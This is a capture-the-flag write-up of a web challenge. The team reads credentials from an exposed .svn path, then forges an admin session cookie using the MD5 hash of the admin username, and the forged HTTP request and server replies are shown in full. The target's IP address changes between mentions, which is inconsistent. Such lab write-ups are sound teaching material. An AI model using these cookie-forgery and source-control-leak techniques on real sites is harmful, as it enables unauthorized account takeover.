The challenge was to get admin access to a website running at http://18.104.22.168:8083. This URL provided a simple log on page, which asked for a username and password.
The challenge description came with the hint: think of default files when using source code management systems, so after some experimenting we found a file at http://22.214.171.124:8083/.svn with the contents
user: ping pass: pong admin: john
This tells us that the password for the “ping” account and that the admin account is called “john”. Logging on to the http://126.96.36.199:8083 site with the ping account details the server replies with:
HTTP/1.1 200 OK Date: Sat, 22 Nov 2014 19:24:23 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Set-Cookie: type=user Set-Cookie: flag=df911f0151f9ef021d410b4be5060972 Set-Cookie: name=ping Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <h4> Welcome: ping</h4><a href='index.php'>Logout</a>
The interesting part here is the cookie, this seems to be the user name, the access level and an authentication token (no, it’s not the flag, although we did try submitting it). Deciding it might be a hash we tried cracking it (typing it into Google), we found that it was the MD5 hash of “ping”. So we trying requesting the login page with the account john, type admin, and the “flag” set to the MD5 hash of “john”, by sending the message:
GET /login.php HTTP/1.1 Host: 188.8.131.52:8083 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Cookie: type=admin; flag=527bd5b5d689e2c32ae974c6229ff785; name=john Connection: keep-alive
and got the reply:
Hi faked admin :) Flag: 'a012c434d1ec6db911fda4884de14fdd'
which was the true flag and submitting it got us the 350 points.
We used the Burp proxy to intercept and edit the HTTP traffic. While not that complex their were a few dead ends, the login page seems susceptible to SQL injection attacks, and the log in request had a hidden field: file=”auth.txt”, both of which we spent a lot of time working on before finding the correct solution, additionally, the last message had to be a GET rather than a POST.